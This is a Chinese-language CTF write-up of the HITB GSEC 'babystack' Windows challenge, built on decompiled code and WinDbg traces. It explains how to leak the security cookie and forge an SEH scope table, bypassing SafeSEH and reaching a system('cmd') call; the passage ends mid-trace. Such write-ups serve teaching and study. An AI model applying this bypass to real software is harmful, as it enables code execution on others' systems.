作者:k0shl

前言

今天給大家帶來的是 HITB GSEC Win PWN 的 babystack 的解題全過程,關于 babyshellcode 的解題過程已經過更新在前文里。

在 babystack 中用到的一些 babyshellcode 中提到的知識點,這里就不再進行贅述,請參考上一篇文章,在 babystack 里的漏洞品相比 babyshellcode 的要好,可利用點很清晰也很簡單,但是攻擊面卻比 babyshellcode 要小很多,babystack 的考點是 seh 中基本域 prev 域和 handler 域之外的擴展域 scope table,以及 VCRUNTIME140.dll 中關于 _except_handler4_comm 函數處理的分析。同樣非常經典,非常好玩,下面我們一起進入 babystack 的解題過程,同時這篇文章結束后關于兩道 Win Pwn 的分析就結束了,我將兩道題目打包上傳到 github,感謝閱讀。請師傅們多多指教。

BabyStack Writeup with Scope Table

babystack這道題看上去攻擊面還是很明顯的,首先是一處棧溢出。

    v4 = strcmp(&v6, "yes");
    if ( v4 )
      v4 = -(v4 < 0) | 1;
    if ( v4 )
    {
      v3 = strcmp(&v6, "no");
      if ( v3 )
        v3 = -(v3 < 0) | 1;
      if ( !v3 )
        break;
      sub_401000((int)&v6, 256);//key!!
    }

sub_401000 是一個拷貝函數,拷貝的目標是 v6 所在的地址,長度是 256,也就是 0x100,這里長度太長了,已經超過 v6 開辟的棧空間大小,會造成棧溢出。

 int __cdecl sub_401000(int a1, int a2)
{
  int i; // [sp+0h] [bp-8h]@1
  char v4; // [sp+7h] [bp-1h]@2

  for ( i = 0; ; ++i )
  {
    v4 = getchar();
    if ( i == a2 )
      break;
    if ( v4 == 10 )
    {
      *(_BYTE *)(i + a1) = 0;
      return i;
    }
    *(_BYTE *)(i + a1) = v4;
  }
  return i;
}

在函數入口,會直接打印目標棧地址和主函數地址,因此也不怕棧地址改變和ASLR了。

 sub_401420("stack address = 0x%x\n", &v6);
 sub_401420("main address = 0x%x\n", sub_4010B0);

在進入函數之后,如果輸入yes,v4為0,不會進入下面的if語句,而是進入else語句,如果輸入非yes,非no,則會進入if語句引發棧溢出,而這個else語句中的功能可以泄露內存地址中存放的內容。

    else
    {
      puts("Where do you want to know");
      v2 = (_DWORD *)sub_401060();
      sub_401420("Address 0x%x value is 0x%x\n", v2, *v2);//v2是地址,*v2是地址中存放的內容
    }

sub_401060 中返回值會通過 atoi,將想轉換的內容,轉換成一個int型數字。

int sub_401060()
{
  ??
  sub_401000((int)&Str, 15);
  return atoi(&Str);
}

所以這里如果想得知地址的值的話,需要將目標地址的十六進制轉換成十進制輸入,同時,這里如果atoi轉換的是一個非數字型數字,那么轉換會失敗,程序會進入異常處理seh。

在sub_4010b0函數中,同時還隱藏著直接獲得交互shell的system('cmd'),在f5之后沒有顯示。

.text:0040138D                 push    offset Command  ; "cmd"
.text:00401392                 call    ds:system

因此,我們也不需要考慮 DEP 和 shellcode 了,如果能夠控制 eip,通過之前我們泄露出的函數地址,算出偏移,直接跳轉到system("cmd"),就可以直接完成攻擊了。怎么樣,這個題目漏洞品相都非常好,看著非常簡單吧(事實證明我還是too young too naive了)。

最后有個小限制,就是輸入點有一個 for 循環,只有10次輸入的機會,因此如果我們要泄露任意地址內存的話,必須要泄露對利用有影響的內存值,來對棧做 fix。

  for ( i = 0; i < 10; ++i )
  {
    puts("Do you want to know more?");
    sub_401000((int)&v6, 10);
    v4 = strcmp(&v6, "yes");
    if ( v4 )
      v4 = -(v4 < 0) | 1;
    if ( v4 )
    {
      v3 = strcmp(&v6, "no");
      if ( v3 )
        v3 = -(v3 < 0) | 1;
      if ( !v3 )
        break;
      sub_401000((int)&v6, 256);
    }
    else
    {
      puts("Where do you want to know");
      v2 = (_DWORD *)sub_401060();
      sub_401420("Address 0x%x value is 0x%x\n", v2, *v2);
    }
  }

乍一看,這些很明顯的漏洞,品相比 babyshellcode 要好很多,但實際上,利用點卻比 babyshellcode 要少太多。

首先,這里假如沒有 MEM_EXECUTE_OPTION_IMAGE_DISPATCH_ENABLE 的條件限制,也沒有機會給我們一個堆空間存放 shellcode,其次在這道題目中沒有 scmgr.dll 這個 no safeseh 的dll,提供我們一個 RtlIsValidHandler 可信的空間做跳轉的跳板,因此我們也不能通過構造 babyshellcode 那種 pointer to next chain 和 fake seh handler to dll 的結構來控制 eip。

總結梳理一下可利用的點,首先可以泄露任意地址的內容,其次我們擁有一個棧溢出,可以覆蓋到 seh chain,然后我們可以通過泄露地址位置來觸發異常,讓程序進入 seh 異常處理,這里我們也考慮過用覆蓋返回地址的方法,因為就算有 GS,我們也可以通過泄露地址值來獲得 GS 的值,但程序最后 ret 的方法是 exit。

  ms_exc.registration.TryLevel = -2;
  puts("I can tell you everything, but I never believe 1+1=2");
  puts("AAAA, you kill me just because I don't think 1+1=2??");
  exit(0);

exit 的時候會做一個棧切換,因此棧溢出覆蓋的 ret addr,我們沒法在 exit 的時候用,因此似乎我們的攻擊面只有攻擊 seh 異常處理函數了。

最開始,我們考慮的是像 babyshellcode 一樣,泄露 prev 域,再控制 seh handler 跳轉到剛才我們找到的 system("cmd") 中,但實際情況并沒有那么簡單,因為 scope table。

在之前 babyshellcode 中,基本的 _EXCEPTION_REGISTRATION 只有兩個域,prev 域和 handler 域。

struct _EXCEPTION_REGISTRATION{
   struct _EXCEPTION_REGISTRATION *prev;
   void (*handler)(    PEXCEPTION_RECORD,
                   PEXCEPTION_REGISTRATION,
                   PCONTEXT,
                  PEXCEPTION_RECORD);

但實際上,我們可以擴展異常處理幀結構,也就是 scopetable 域,在 babystack 的主函數中,scopetable 域被加密初始化并放入了棧中。

0:000> p
eax=001efa64 ebx=7ffdc000 ecx=001efa00 edx=00000000 esi=609d6314 edi=002a7b60
eip=002610cc esp=001ef95c ebp=001efa2c iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
babystack+0x10cc://獲取security cookie
002610cc a104402600      mov     eax,dword ptr [babystack+0x4004 (00264004)] ds:0023:00264004=d3749a3a
0:000> p//會和scopetable的值做亦或運算
eax=d3749a3a ebx=7ffdc000 ecx=001efa00 edx=00000000 esi=609d6314 edi=002a7b60
eip=002610d1 esp=001ef95c ebp=001efa2c iopl=0         nv up ei pl nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000207
babystack+0x10d1:
002610d1 3145f8          xor     dword ptr [ebp-8],eax ss:0023:001efa24=00263688
0:000> r eax//security cookie
eax=d3749a3a
0:000> dd ebp-8 l1
001efa24  00263688
0:000> p
eax=d3749a3a ebx=7ffdc000 ecx=001efa00 edx=00000000 esi=609d6314 edi=002a7b60
eip=002610d4 esp=001ef95c ebp=001efa2c iopl=0         nv up ei ng nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000286
babystack+0x10d4:
002610d4 33c5            xor     eax,ebp
0:000> dd ebp-8 l1//加密后的scopetable
001efa24  d352acb2

我們可以看到,加密的方法是將scopetable指針和security cookie做了一個亦或運算。

.text:004010CC                 mov     eax, ___security_cookie
.text:004010D1                 xor     [ebp+ms_exc.registration.ScopeTable], eax

而 security cookie 是一個全局變量存放在 babystack+0x4004 的位置,之前我們已經聊到 babystack 可以泄露任意地址值,因此 security cookie 是完全可以泄露出來的。

.data:00404004 ___security_cookie dd 0BB40E64Eh        ; DATA XREF: sub_401060+6r
.data:00404004                                         ; sub_4010B0+1Cr ...

接下來,我們就要來看一看這個Scope Table了,首先指向它的指針是在ebp-8的位置存放的,來看一下在異或運算前棧的情況。

0:000> dd ebp-8
001efa24  00263688 fffffffe 001efa74

這個值是在 sub_4010b0 函數入口處被推入棧中的。

.text:004010B0                 push    ebp
.text:004010B1                 mov     ebp, esp
.text:004010B3                 push    0FFFFFFFEh//先推入0xfffffffe
.text:004010B5                 push    offset stru_403688//推入scope table
.text:004010BA                 push    offset sub_401460

scope table 指針指向的是一個 stru_403688 結構,是一個全局變量,直接來看一下這個結構。

.rdata:00403688 stru_403688     dd 0FFFFFFE4h           ; GSCookieOffset
.rdata:00403688                                         ; DATA XREF: sub_4010B0+5o
.rdata:00403688                 dd 0                    ; GSCookieXOROffset ; SEH scope table for function 4010B0
.rdata:00403688                 dd 0FFFFFF20h           ; EHCookieOffset
.rdata:00403688                 dd 0                    ; EHCookieXOROffset
.rdata:00403688                 dd 0FFFFFFFEh           ; ScopeRecord.EnclosingLevel
.rdata:00403688                 dd offset loc_401348    ; ScopeRecord.FilterFunc
.rdata:00403688                 dd offset loc_40134E    ; ScopeRecord.HandlerFunc

其實關于 Scope table 的描述在這里已經很清楚了,我們直接來看一下實際情況下 scope table 表。

0:000> dd 00263688
00263688  ffffffe4 00000000 ffffff20 00000000
00263698  fffffffe 00261348 0026134e 00000000
002636a8  fffffffe 00000000 ffffffcc 00000000
002636b8  fffffffe 002616ad 002616c1 00000000

接下來我們就需要來看看這個 scope table 到底我們該怎么利用,這個涉及到 _except_handler4 異常處理函數,在 babystack 中,異常處理函數中會調用 VCRUNTIME140!_except_handler4_common

0:000> t
eax=00000000 ebx=00000000 ecx=01101460 edx=770b6d8d esi=00000000 edi=00000000
eip=01101fe2 esp=0012f8b8 ebp=0012f8d4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
babystack+0x1fe2:
01101fe2 ff2538301001    jmp     dword ptr [babystack+0x3038 (01103038)] ds:0023:01103038={VCRUNTIME140!_except_handler4_common (651fb2f0)}
0:000> p
eax=00000000 ebx=00000000 ecx=01101460 edx=770b6d8d esi=00000000 edi=00000000
eip=651fb2f0 esp=0012f8b8 ebp=0012f8d4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
VCRUNTIME140!_except_handler4_common:
651fb2f0 55              push    ebp

VCRUNTIME140!_except_handler4_common 函數中,會棧進行很多操作,比如全局棧展開,以前的棧回收等等,而最后會調用 terminal func,也就是 handler function。

0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=0012ff18 esi=0110134e edi=fffffffe
eip=651faf58 esp=0012f888 ebp=0012ff18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
VCRUNTIME140!_EH4_TransferToHandler+0x13:
651faf58 33d2            xor     edx,edx
0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0110134e edi=fffffffe
eip=651faf5a esp=0012f888 ebp=0012ff18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
VCRUNTIME140!_EH4_TransferToHandler+0x15:
651faf5a 33ff            xor     edi,edi
0:000> p
eax=00000000 ebx=00000000 ecx=00000000 edx=00000000 esi=0110134e edi=00000000
eip=651faf5c esp=0012f888 ebp=0012ff18 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
VCRUNTIME140!_EH4_TransferToHandler+0x17:
651faf5c ffe6            jmp     esi {babystack+0x134e (0110134e)}

也就是說,如果我們可以控制 handler function,就可以通過 jmp esi 來控制 eip 了!

這時候有同學會問,直接把進程函數的地址(也就是剛才提到的函數里有一處 system('cmd') 調用地址)覆蓋 seh handler 不行嗎?safeseh 是不允許通過的。

0:000> g//觸發異常
(18f074.18f078): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=7ffd7000 ecx=de5c2bcc edx=00000009 esi=5ffb6314 edi=00297b60
eip=000a1272 esp=0028f9d0 ebp=0028fab0 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
*** ERROR: Module load completed but symbols could not be loaded for babystack.exe
babystack+0x1272:
000a1272 8b08            mov     ecx,dword ptr [eax]  ds:0023:00000000=????????

0:000> !exchain
0028faa0: babystack+138d (000a138d)//seh handler被修改成指向system('cmd')
0028fae8: babystack+1460 (000a1460)
0028fb34: ntdll!_except_handler4+0 (7708e195)
  CRT scope  0, filter: ntdll!__RtlUserThreadStart+2e (770e790b)
                func:   ntdll!__RtlUserThreadStart+63 (770e7c80)
Invalid exception stack at ffffffff

關于 safeseh 的偽代碼在我上篇 babyshellcode 文章中已經貼出了,這里不再貼詳細代碼,關鍵部分在這里。

if (handler is in an image)//進入這里
{        // 在加載模塊的進程空間
if (image has the IMAGE_DLLCHARACTERISTICS_NO_SEH flag set)
    return FALSE; // 該標志設置,忽略異常處理,直接返回FALSE
if (image has a SafeSEH table) // 是否含有SEH表
    if (handler found in the table)
        return TRUE; // 異常處理handle在表中,返回TRUE
    else
        return FALSE; // 異常處理handle不在表中,返回FALSE

首先我們要跳轉到 system('cmd') 的地址空間就在當前進程空間中,所以會進入第一個if處理邏輯,隨后會檢查 safeseh table。

0:000> p//獲取safeseh table
eax=0028f4d8 ebx=000a138d ecx=0028f4dc edx=770b6c74 esi=0028f580 edi=00000000
eip=7708f834 esp=0028f4a0 ebp=0028f4e8 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000202
ntdll!RtlIsValidHandler+0x21:
7708f834 e85c000000      call    ntdll!RtlLookupFunctionTable (7708f895)
0:000> p
eax=000a3390 ebx=000a138d ecx=7708f93c edx=7714ec30 esi=0028f580 edi=00000000
eip=7708f839 esp=0028f4ac ebp=0028f4e8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ntdll!RtlIsValidHandler+0x26:
7708f839 33ff            xor     edi,edi
0:000> p//eax存放的是當前進程的safeseh表
eax=000a3390 ebx=000a138d ecx=7708f93c edx=7714ec30 esi=0028f580 edi=00000000
eip=7708f83b esp=0028f4ac ebp=0028f4e8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlIsValidHandler+0x28:
7708f83b 8945f4          mov     dword ptr [ebp-0Ch],eax ss:0023:0028f4dc=770b5c1c
0:000> p//如果沒有返回0,和0作比較,現在有
eax=000a3390 ebx=000a138d ecx=7708f93c edx=7714ec30 esi=0028f580 edi=00000000
eip=7708f83e esp=0028f4ac ebp=0028f4e8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlIsValidHandler+0x2b:
7708f83e 3bc7            cmp     eax,edi
0:000> p
eax=000a3390 ebx=000a138d ecx=7708f93c edx=7714ec30 esi=0028f580 edi=00000000
eip=7708f840 esp=0028f4ac ebp=0028f4e8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ntdll!RtlIsValidHandler+0x2d:
7708f840 0f845bae0500    je      ntdll!RtlIsValidHandler+0x82 (770ea6a1) [br=0]

當然這里是存在 safeseh table 的,最后要在里面尋找 handler,看看當前 seh handler 是否是 safeseh 表中的 handler。

0:000> p//ebx的值是我們覆蓋seh handler指向system('cmd')的地址,在進程空間里
eax=000a3390 ebx=000a138d ecx=7708f93c edx=7714ec30 esi=00000001 edi=00000000
eip=7708f85a esp=0028f4ac ebp=0028f4e8 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
ntdll!RtlIsValidHandler+0x46:
7708f85a 2b5df0          sub     ebx,dword ptr [ebp-10h] ss:0023:0028f4d8={babystack (000a0000)}//這里用seh handler地址減去進程基址
……
0:000> p
eax=000a3390 ebx=0000138d ecx=00000000 edx=00000000 esi=00000001 edi=00000000
eip=7708f86c esp=0028f4ac ebp=0028f4e8 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
ntdll!RtlIsValidHandler+0x54:
7708f86c 8b3c88          mov     edi,dword ptr [eax+ecx*4] ds:0023:000a3390=00001460//從safeseh handler table中獲取可信的seh handler
0:000> p
eax=000a3390 ebx=0000138d ecx=00000000 edx=00000000 esi=00000001 edi=00001460
eip=7708f86f esp=0028f4ac ebp=0028f4e8 iopl=0         nv up ei pl zr na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000247
ntdll!RtlIsValidHandler+0x57:
7708f86f 3bdf            cmp     ebx,edi//用可信seh handler和當前seh handler作比較
0:000> p
eax=000a3390 ebx=0000138d ecx=00000000 edx=00000000 esi=00000001 edi=00001460
eip=7708f871 esp=0028f4ac ebp=0028f4e8 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000287
ntdll!RtlIsValidHandler+0x59://顯然不相等,跳轉
7708f871 0f8274030000    jb      ntdll!RtlIsValidHandler+0x5b (7708fbeb) [br=1]

這里用當前 system('cmd') 地址的 seh handler 和 safeseh table 中可信的 handler 作比較,顯然由于我們的覆蓋,不相等,則 safeseh check 沒通過,返回0。

0:000> p
eax=64fd5e00 ebx=0028faa0 ecx=64d5aa92 edx=00000000 esi=0028f580 edi=00000000
eip=7708f88d esp=0028f4ec ebp=0028f568 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlIsValidHandler+0xfc:
7708f88d c20800          ret     8
0:000> p
eax=64fd5e00 ebx=0028faa0 ecx=64d5aa92 edx=00000000 esi=0028f580 edi=00000000
eip=7708f9fe esp=0028f4f8 ebp=0028f568 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlDispatchException+0x10e:
7708f9fe 84c0            test    al,al
0:000> r al
al=0

在 babyshellcode 中,我們用了 nosafeseh 的 dll 突破了 safeseh,在 babystack 中我們沒有 nosafeseh 的地址空間,也沒有可用的堆空間(有也用不了),因此我們不能用 seh handler了,而我們可控的空間就是棧空間,我們有 scope table,經過我們之前的分析,可以通過 scope table 實現對 eip 的控制。

因此,我們目前需要在棧泄露并 fix 的棧結構是 seh 的 prev 域和 handler 域。

之前我們分析 except_handler4_comm 函數時,發現處理到最后會跳轉到 scope table 表中的 Handler func 指針指向的位置,因此我們利用 except_handler4 的機制就可以使用 scope table 中的 handler func 來控制 eip,而不使用 seh handler,也就是說將 seh chain 的 prev 域和 handler 域的值覆蓋成和原來一樣的(因為這兩個值都可以泄露出來,之前提過),唯獨控制 scope table 中的 struc,從而相當于繞過了 safe seh 的 RtlIsValidHandler 的 check。

0:000> p
eax=01101460 ebx=0012ff08 ecx=0012f91c edx=770b6c74 esi=0012f9c0 edi=00000000
eip=7708f9f6 esp=0012f934 ebp=0012f9a8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ntdll!RtlDispatchException+0x106:
7708f9f6 ff7304          push    dword ptr [ebx+4]    ds:0023:0012ff0c=01101460
0:000> p
eax=01101460 ebx=0012ff08 ecx=0012f91c edx=770b6c74 esi=0012f9c0 edi=00000000
eip=7708f9f9 esp=0012f930 ebp=0012f9a8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ntdll!RtlDispatchException+0x109:
7708f9f9 e815feffff      call    ntdll!RtlIsValidHandler (7708f813)
0:000> p
eax=01103301 ebx=0012ff08 ecx=711cbddc edx=00000000 esi=0012f9c0 edi=00000000
eip=7708f9fe esp=0012f938 ebp=0012f9a8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlDispatchException+0x10e:
7708f9fe 84c0            test    al,al
0:000> r al
al=1

下面我們來看一下 scope table 該如何控制。

首先看我們之前的分析,在 scope table 位置存放的是 struc 和 security cookie 異或的結果,我們就叫它 encode scope table,接下來我們跟入 VCRUNTIME140!_except_handler4_common 函數,首先會對 scope table 進行解密,也就是和 security cookie 進行異或運算。

0:000> p//獲得當前encode scope table
eax=00000000 ebx=00000000 ecx=01274004 edx=770b6d8d esi=0027fc0c edi=00000000
eip=606eb30a esp=0027f58c ebp=0027f5b4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
VCRUNTIME140!_except_handler4_common+0x1a:
606eb30a 8b7e08          mov     edi,dword ptr [esi+8] ds:0023:0027fc14=b24ab809
0:000> p
eax=00000000 ebx=00000000 ecx=01274004 edx=770b6d8d esi=0027fc0c edi=b24ab809
eip=606eb30d esp=0027f58c ebp=0027f5b4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
VCRUNTIME140!_except_handler4_common+0x1d:
606eb30d 8d4610          lea     eax,[esi+10h]
0:000> p//ecx的值是base address+0x4004,也就是security cookie的存放位置,edi是encode scope table,異或運算
eax=0027fc1c ebx=00000000 ecx=01274004 edx=770b6d8d esi=0027fc0c edi=b24ab809
eip=606eb310 esp=0027f58c ebp=0027f5b4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
VCRUNTIME140!_except_handler4_common+0x20:
606eb310 3339            xor     edi,dword ptr [ecx]  ds:0023:01274004=b36d8e81
0:000> p
eax=0027fc1c ebx=00000000 ecx=01274004 edx=770b6d8d esi=0027fc0c edi=01273688//edi的值變成scope table的指針
eip=606eb312 esp=0027f58c ebp=0027f5b4 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
VCRUNTIME140!_except_handler4_common+0x22:
606eb312 50              push    eax

注意 ecx 的值,指向的是當前進程地址 +0x4004,這個位置之前已經分析過存放的是全局變量 security cookie,這個值我們可以能通過任意地址讀獲取到,而棧里對應 encode scope table 的值我們也能通過任意地址讀獲取到,因此我們就可以獲取到 struc 的值,而這個 struc 的值,是我們可以決定的,如果我們用任意地址 xor security cookie 的值,這個 decode 之后的指針就能指向我們構造的地址了。

隨后會檢查 Try level 的值。

0:000> p//獲取try level的值
eax=0027f598 ebx=0027f6dc ecx=b36d8e81 edx=770b6d8d esi=0027fc0c edi=01273688
eip=606eb344 esp=0027f58c ebp=0027f5b4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
VCRUNTIME140!_except_handler4_common+0x54:
606eb344 8b5e0c          mov     ebx,dword ptr [esi+0Ch] ds:0023:0027fc18=00000000//esi的值需要注意
0:000> p
eax=0027f598 ebx=00000000 ecx=b36d8e81 edx=770b6d8d esi=0027fc0c edi=01273688
eip=606eb347 esp=0027f58c ebp=0027f5b4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
VCRUNTIME140!_except_handler4_common+0x57:
606eb347 8946fc          mov     dword ptr [esi-4],eax ds:0023:0027fc08=5be7a4e3
0:000> p//將try leve的值和-2做比較,這里try level值為0
eax=0027f598 ebx=00000000 ecx=b36d8e81 edx=770b6d8d esi=0027fc0c edi=01273688
eip=606eb34a esp=0027f58c ebp=0027f5b4 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
VCRUNTIME140!_except_handler4_common+0x5a:
606eb34a 83fbfe          cmp     ebx,0FFFFFFFEh

Try level 的值為0,這里會和-2作比較,如果 Try level 的值為-2的情況下會表示沒有進入任何該函數的 try 模塊中,程序會返回,這里由于程序一開始就將值賦值為0,因此這里會進入后續處理。

這里我們需要注意一下 esi 的值,這里 Try level 的值是由 esi+0C 賦值而來,來看下 esi 的值是啥。

0:000> dd 0027fc0c
0027fc0c  0027fc54 01271460 b24ab809 00000000
0027fc1c  0027fc64 0127167a 00000001 003d7b60
0027fc2c  003d7bb8 b34a72e5 00000000 00000000
0027fc3c  7ffdb000 0027fc00 00000000 00000000
0027fc4c  0027fc30 0000031b 0027fca0 01271460
0027fc5c  b24ab829 00000000 0027fc70 76b2ef8c
0027fc6c  7ffdb000 0027fcb0 770d367a 7ffdb000
0027fc7c  637cd233 00000000 00000000 7ffdb000
0:000> !exchain
0027f5ec: ntdll!ExecuteHandler2+3a (770b6d8d)
0027fc0c: babystack+1460 (01271460)
0027fc54: babystack+1460 (01271460)

可以看到,esi 的值就在 seh chain 中,接下來我們繼續跟蹤 VCRUNTIME140!_except_handler4_common 函數。

0:000> p
eax=0027f598 ebx=00000000 ecx=b36d8e81 edx=770b6d8d esi=0027fc0c edi=01273688
eip=606eb353 esp=0027f58c ebp=0027f5b4 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
VCRUNTIME140!_except_handler4_common+0x63:
606eb353 8d4302          lea     eax,[ebx+2]
0:000> p
eax=00000002 ebx=00000000 ecx=b36d8e81 edx=770b6d8d esi=0027fc0c edi=01273688
eip=606eb356 esp=0027f58c ebp=0027f5b4 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
VCRUNTIME140!_except_handler4_common+0x66:
606eb356 8d0443          lea     eax,[ebx+eax*2]
0:000> p//edi存放的是scope table,這里會計算handler function的位置
eax=00000004 ebx=00000000 ecx=b36d8e81 edx=770b6d8d esi=0027fc0c edi=01273688
eip=606eb359 esp=0027f58c ebp=0027f5b4 iopl=0         nv up ei pl nz ac po cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000213
VCRUNTIME140!_except_handler4_common+0x69:
606eb359 8b4c8704        mov     ecx,dword ptr [edi+eax*4+4] ds:0023:0127369c=01271348
0:000> dd 01273688//edi的值指向scope table
01273688  ffffffe4 00000000 ffffff20 00000000
01273698  fffffffe 01271348 0127134e 00000000
012736a8  fffffffe 00000000 ffffffcc 00000000
012736b8  fffffffe 012716ad 012716c1 00000000

可以看到,最后通過 scope table 計算了 handler function 的指針的值,隨后會在最后跳轉時用到,那么這個地方就很有意思了,我們可以構造一個 scope table,也就是 fake struc,然后和泄露出來的 security cookie 做異或運算,然后把值通過棧溢出,覆蓋到 seh chain 的 encode scope table 位置,這里要提一點是 fake struc 放在什么位置,以及放什么,這里我們選擇的還是放在 stack 中存放變量的位置,因為放在這里不會影響到其他變量,當然可以放在棧的任何位置,只要覆蓋之后不會影響到其他函數調用就可以,否則會造成不可預知的 crash,因此放在之前提到的函數內申請變量的位置是最穩的,當然這些值的相對偏移都固定,因此我們可以 leak 出來。

我們想到的棧布局如下。

首先我們通過 leak 的方法可以泄露出 security cookie,同時通過棧地址 +offset 的方法可以泄露出之前我們提到的 prev 域和 handler 域的值,這些值將在我們進行棧布局的時候用到。

exchain 中關于 prev 域和 handler 域的偏移,在棧里相對位置是固定的,所以每次程序開始給了棧地址后,我們可以直接通過棧地址和相對偏移算出 exchain 的位置,泄露出 prev 域和 handler 域的值,隨后我們構造一個 fake struc,也就是 fake scope table,根據之前我們提到關于 struc 的定義,我們可以在棧中布置這樣一個值,然后將 scope table 的棧地址和 security cookie 做異或運算,填充在 handler 之后就行了。

OK,現在我們完成了布置,這樣的話可以通過 safeseh 的 check。

0:000> p
eax=01121460 ebx=0015fbd0 ecx=0015f61c edx=770b6c74 esi=0015f6c0 edi=00000000
eip=7708f9f9 esp=0015f630 ebp=0015f6a8 iopl=0         nv up ei pl nz na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000206
ntdll!RtlDispatchException+0x109:
7708f9f9 e815feffff      call    ntdll!RtlIsValidHandler (7708f813)
0:000> p
eax=01123301 ebx=0015fbd0 ecx=62891c6f edx=00000000 esi=0015f6c0 edi=00000000
eip=7708f9fe esp=0015f638 ebp=0015f6a8 iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246
ntdll!RtlDispatchException+0x10e:
7708f9fe 84c0            test    al,al
0:000> r al
al=1

接下來進入 VCRUNTIME140!_except_handler4_common 函數中,其實通過上面的圖可以看到,在 fake struc 中,我們其他值固定,只是把 handler function 的值修改成了 system('cmd') 的地址,這樣根據我們上面對 _except_handler4_common 函數的分析,應該最后會跳轉到 handler function,也就是 system('cmd')。首先跟入函數。

0:000> p
eax=00000000 ebx=00000000 ecx=01124004 edx=770b6d8d esi=0015fbd0 edi=00000000
eip=6375b30a esp=0015f58c ebp=0015f5b4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
VCRUNTIME140!_except_handler4_common+0x1a://獲取encode scope table
6375b30a 8b7e08          mov     edi,dword ptr [esi+8] ds:0023:0015fbd8=764a4109
0:000> p
eax=00000000 ebx=00000000 ecx=01124004 edx=770b6d8d esi=0015fbd0 edi=764a4109
eip=6375b30d esp=0015f58c ebp=0015f5b4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
VCRUNTIME140!_except_handler4_common+0x1d:
6375b30d 8d4610          lea     eax,[esi+10h]
0:000> p
eax=0015fbe0 ebx=00000000 ecx=01124004 edx=770b6d8d esi=0015fbd0 edi=764a4109
eip=6375b310 esp=0015f58c ebp=0015f5b4 iopl=0         nv up ei pl nz ac po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000212
VCRUNTIME140!_except_handler4_common+0x20://和security cookie做異或
